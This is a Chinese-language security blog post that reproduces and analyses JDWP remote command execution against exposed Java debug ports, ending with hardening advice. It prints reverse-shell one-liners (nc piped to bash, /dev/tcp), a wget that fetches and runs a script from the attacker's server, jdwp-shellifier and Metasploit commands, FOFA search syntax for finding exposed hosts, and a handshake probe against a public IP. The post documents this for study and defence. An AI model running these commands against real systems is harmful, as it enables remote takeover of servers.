java安全-Jdwp命令执行漏洞复现与分析

举报
亿人安全 发表于 2023/04/11 20:43:29 2023/04/11
【摘要】 一、漏洞简介jdwp结简介JDWP 是全球 Java 调试系统的组件之一,称为Java 平台调试架构(JPDA)。下面是整体架构图:Debuggee 由一个运行我们的目标应用程序的多线程 JVM 组成。为了能够远程调试,JVM 实例必须使用在命令行上传递的选项 -Xdebug 以及选项 -Xrunjdwp(或 -agentlib)显式启动。例如,启动启用了远程调试的 Tomcat 服务器如下...

一、漏洞简介

jdwp结简介

JDWP 是全球 Java 调试系统的组件之一,称为Java 平台调试架构(JPDA)。下面是整体架构图:

Debuggee 由一个运行我们的目标应用程序的多线程 JVM 组成。为了能够远程调试,JVM 实例必须使用在命令行上传递的选项 -Xdebug 以及选项 -Xrunjdwp(或 -agentlib)显式启动。例如,启动启用了远程调试的 Tomcat 服务器如下所示

如体系结构图中所示,Java Debug Wire Protocol 是 Debugger 和 JVM 实例之间的中心链接。关于协议的观察包括:

  • 它是一种基于数据包的网络二进制协议。
  • 它主要是同步的。调试器通过 JDWP 发送命令并期望收到回复。但是,某些命令(如事件)不需要同步响应。当满足特定条件时,他们将发送回复。例如,断点是一个事件。
  • 它不使用身份验证。
  • 它不使用加密。

JPDA

在 JPDA 体系中,作为前端(front-end)的调试者(debugger)进程和后端(back-end)的被调试程序(debuggee)进程之间的交互数据的格式就是由 JDWP 来描述的,它详细完整地定义了请求命令、回应数据和错误代码,保证了前端和后端的 JVMTI 和 JDI 的通信通畅。比如在 Sun 公司提供的实现中,它提供了一个名为 jdwp.dll(jdwp.so)的动态链接库文件,这个动态库文件实现了一个 Agent,它会负责解析前端发出的请求或者命令,并将其转化为 JVMTI 调用,然后将 JVMTI 函数的返回值封装成 JDWP 数据发还给后端。

整体分为三层:

  • JVMTI:Java VM Tool Interface即JVM工具接口。Debuggee即被调试者是由被调试的应用程序(未显示)、运行应用程序的VM和调试器后端组成。为了可远程调试,JVM实例必须使用命令行参数-Xdebug以及参数-Xrunjdwp(或-agentlib)显式启动。其中调试器后端是使用JVMTI来定义JVM提供的调试服务;
  • JDWP:Java Debug Wire Protocol是Debugger和JVM实例之间的通信协议;
  • JDI:Java Debug Interface即Java调试接口,是JDWP协议的客户端,调试器通过其来远程调试目标JVM中的应用;

JVM TI -Java VM Tool Interface

Defines the debugging services a VM provides.

JDWP - Java Debug Wire Protocol

Defines the communication between debuggee and debugger processes.

JDI - Java Debug Interface

Defines a high-level Java language interface which tool developers can easily use to write remote debugger applications.

Debugger 和 JVM 实例之间的中心链接。关于协议的观察包括:

  • 它是一种基于数据包的网络二进制协议。
  • 它主要是同步的。调试器通过 JDWP 发送命令并期望收到回复。但是,某些命令(如事件)不需要同步响应。当满足特定条件时,他们将发送回复。例如,断点是一个事件。
  • 它不使用身份验证。
  • 它不使用加密。

JDWP

JDWP是一个基于二进制包的网络协议。
JDWP大致分为两个阶段:握手(handshake)和沟通。

JDWP(Java Debugger Wire Protocol)即Java调试线协议,是一个为Java调试而设计的通讯交互协议。在JPDA(Java Platform Debugger Architecture)中,它定义了调试器(Debugger)和被调试的JVM(Debuggee)之间的通信协议。

具体JDWP协议可参考官方文档:https://docs.oracle.com/en/java/javase/11/docs/specs/jdwp/jdwp-protocol.html

协议分析

握手

JDWP 规定[9] 必须通过简单的握手来启动通信。TCP 连接成功后,调试器(客户端)发送 14 个字符的 ASCII 字符串“JDWP-Handshake”。

沟通

JDWP 定义了 Debugger 和 Debuggee 之间通信所涉及的消息[10]。

消息遵循一个简单的结构,定义如下:

其中Flags这个字段主要用于区分发送的数据包是哪种类型,0x00代表命令包,0x80代表回复包。

二、漏洞原理:

原理

JDWP(Java Debug Wire Protocol)是Java平台调试体系结构的一部分,它允许调试器通过网络连接到正在运行的Java虚拟机(JVM)上,并执行诊断和调试操作。JDWP协议使用基于TCP的网络通信,并采用二进制格式进行数据传输。

JDWP漏洞是指攻击者可以通过网络连接到正在运行的Java虚拟机(JVM)上,并利用JDWP协议中存在的安全漏洞执行恶意代码或获取敏感信息的漏洞。

JDWP漏洞的原理通常是由于JVM在默认配置下启用了JDWP,并将JDWP端口暴露在网络上,攻击者可以利用这个开放的端口进行攻击。攻击者可以通过JDWP协议向JVM发送指令,从而控制JVM并执行恶意代码。攻击者还可以利用JDWP协议中的命令获取JVM中的敏感信息,例如类名、方法名、变量名等。

为了避免JDWP漏洞,建议禁用JDWP或在JVM配置中限制JDWP端口只能本地访问。另外,也建议在网络环境中使用防火墙等安全措施,限制外部网络对JVM端口的访问。

调试过程

  1. VirtualMachine/IDSizes是JVM处理的数据结构的大小,不同的机器值可能不同,由于nmap的jdwp-exec.nse脚本使用了硬编码,所以脚本执行不成功。
  2. ClassType/InvokeMethod用于调用一个静态方法
  3. ObjectReference/InvokeMethod用于在JVM中调用一个实例化对象的方法
  4. Event/Composite会强制JVM对命令声明的特定行为做出回应。该命令是调试的关键,设置断点、通过线程单步调试,提供访问/修改值时的通知。

脚本jdwp-shellifier的运行过程梳理如下:

  1. 与Target VM 握手,建立连接
  2. 向JVM发出请求获取IDSizes
  3. 向JVM发出请求获取JVM的版本信息
  4. 向JVM发出请求获取所有的类信息,其中包含有referenceTypeID

  1. 从得到的类信息中提取出java.lang.Runtime类的referenceTypeID
  2. 由于Runtime类只能通过getRuntime方法获取,因此还需要向服务器请求获取方法信息
  3. 从得到的方法信息中提取出getRuntime方法的referenceTypeID
  4. 给需要指定的方法添加断点,默认是java.net.ServerSocket.accept,因为在windows平台下进行jdwp调试只能使用socket类型,且该函数调用比较频繁。
  5. 当断点触发时,我们就可以得到被调试方法所运行的线程ID
  6. 清除断点并恢复线程运行
  7. 创建执行命令的字符串对象,并通过回复包获取该对象ID:
  8. 调用方法命令调用静态方法getRuntime并获取对应的对象ID:
  9. 上次请求过方法信息,从之前请求的方法信息中可获取到exec方法的referenceTypeID
  10. 通过对象的方法调用命令调用exec函数就可以执行命令了:

三、环境搭建:

1、Centos安装tomcat
Tomcat官网下载https://tomcat.apache.org/download-70.cgi,Tomcat 有一键安装版和解压版,要搭建jdwp环境只能使用解压版。

解压安装

tar -zxvf apache-tomcat-7.0.108.tar.gz

mkdir /opt/tomcat

mv apache-tomcat-7.0.108 /opt/tomcat/

修改配置文件

启动环境

FOFA语法

banner="jdwp"

四、服务探测

有三种常用方式来进行JDWP服务探测,原理都是一样的,即向目标端口连接后发送JDWP-Handshake,如果目标服务直接返回一样的内容则说明是JDWP服务。

Nmap

使用Nmap进行端口扫描:

扫描会识别到JDWP服务,且有对应的JDK版本信息:

Telnet

使用Telnet命令探测,需要马上输入JDWP-Handshake,然后服务端返回一样的内容,证明是JDWP服务:

python脚本探测

import socket

client = socket.socket()
client.connect(("127.0.0.1", 8000))
client.send(b"JDWP-Handshake")

if client.recv(1024) == b"JDWP-Handshake":
    print("[*]JDWP Service!")

client.close()

漏洞发现过程

nmap是端口扫描的利器,支持批量扫描网段内端口打开的情况。通过nmap的扫描可以找到端口和对应的协议,这样就可以扫描到打开了远程debug的端口的机器。

端口明明开了,却没有扫描到?

nmap默认只扫描每个协议常见的1000个端口,如果你的端口不在里面,默认就不会扫描。

端口使用的频率存储在nmap-services文件中:

➜  jdwp-shellifier (master|✔) locate nmap-services
/usr/local/Cellar/nmap/7.70/share/nmap/nmap-services

可以直接查看这个文件, 也可以使用下面的命令查看对应的频率:

➜  jdwp-shellifier (master|✔) sudo nmap -v -oG - -sSU
Password:
# Nmap 7.70 scan initiated Fri Aug 10 13:46:47 2018 as: nmap -v -oG - -sSU
# Ports scanned: TCP(1000;1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521...省略

解决方案:

nmap中可以通过-p指定扫描的端口范围:

上面是dev机器上开启的端口, Java Debug Wire Protocol (Reference Implementation)就是开启了JDWP的机器。

二次确认

telnet端口后输入命令JDWP-Handshake
如果返回JDWP-Handshake,证明存在漏洞。

可以用下面的命令测试:

➜  jdwp-shellifier (master|✔) { echo "JDWP-Handshake"; sleep 20 } | telnet 221.221.221.221 10010
Trying 221.221.221.221...
Connected to izbp16k6k2yv9vvh6c3v65zi.
Escape character is '^]'.
JDWP-Handshake

或者使用nc

➜  jdwp-shellifier (master|✔) { echo "JDWP-Handshake"; sleep 1 | trap exit INT} | nc 221.221.221.221 10010
JDWP-Handshake

五、漏洞复现

1、jdwp-shellifier

直接用GitHub上已有的工具:https://github.com/IOActive/jdwp-shellifier

(1)工具下载地址:https://github.com/IOActive/jdwp-shellifier

(2)该漏洞无回显,可利用dnslog进行探测

python2 jdwp-shellifier.py -t 192.168.3.118 -p 8787 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"

反弹shell

下面内容均在攻击机上操作:

(1)准备反弹shell文件,保存为shell.txt
nc x.x.x.x 3333 | /bin/bash | nc x.x.x.x 4444%

(2)进入到有shell文件的目录下,终端开启简单http协议,使得靶机可以下载shell文件
python3 -m http.server 8000

(3)开启监听,需要开启2个监听,前面一个输入执行命令,后面一个输出命令执行结果

python2 jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on "java.lang.String.indexof" --cmd "wget http://x.x.x.x
:8000/shell.txt -O /tmp/shell.sh"
python2 jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"
python2 jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on "java.lang.String.indexof" --cmd "/tmp/shell.sh"

反弹没有成功,怀疑目标机器里面没有nc。然后使用sh进行反弹

sh -i >& /dev/tcp/x.x.xx/3333 0>&1 | /bin/sh | sh -i >& /dev/tcp/x.x.x.x/4444 0>&1%

成功反弹shell。

另一种方式:

安装一个ncat,然后启动一个ncat的程序, 然后就可以远程连接上这个ncat开启的端口,相当于有一个root权限的shell了。

ncat在服务器上开启一个端口, 转发输入交给bash去执行。

开启转发服务:

服务器上端口已经开启:

成功获取shell。

2、msf

在msf中可以使用exploit/multi/misc/java_jdwp_debugger模块进行攻击利用。

原理是去找sleeping中的线程,然后下发单步指令是程序断下来,从而触发命令执行。

use exploit/multi/misc/java_jdwp_debugger
set rhosts x.x.x.x
set payload linux/x64/shell/bind_tcp 
run

3、jdb

jdb是JDK中自带的命令行调试工具。

这里是按照msf中的方式搞:

  1. attach到远程JDWP服务;
  2. threads命令查看所有线程,查找sleeping的线程;
  3. thread sleeping的线程id,然后stepi进入该线程;
  4. 通过print|dump|eval命令,执行Java表达式从而达成命令执行;

这里本地-attach参数连接会出差,换为下面的方式:

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.182.130,port=8000

执行命令:

eval java.lang.Runtime.getRuntime().exec("calc")

六、防御方式:

  • 关闭JDWP服务,或限制JDWP服务不对外开放;
  • 关闭Java Debug模式;

远程调试的建议

1、线上不能开启debug,对服务器性能有影响。

2、关闭对外远程debug的端口

sudo lsof -i:<port>

查找到对应的进程, 然后修改配置,重启tomcat

3、远程debug步骤:

  1. tomcat 开启调试:
export CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=127.0.0.1:8399"

4.注意必须绑定到127.0.0.1

5.安装socat

sudo yum install -y socat

服务器安装socat进行转发:

socat TCP4-LISTEN:5005forkrange=0.0.0.0/32 TCP4:127.0.0.1:8399 | hostname -i

6.其中0.0.0.0/32表示放开ip限制(不是内网没有办法限制出口ip), 命令不要在后台执行,否则跟开启了对外的远程debug没有区别

7.idea中新建Remote配置,host写上面输出的公网的ip, 端口写5005

REF:

https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/JDWP/JDWP%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

https://www.mi1k7ea.com/2021/08/06/%E6%B5%85%E6%9E%90JDWP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

https://www.cnblogs.com/flashine/articles/14366118.html

https://forum.butian.net/share/1232

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。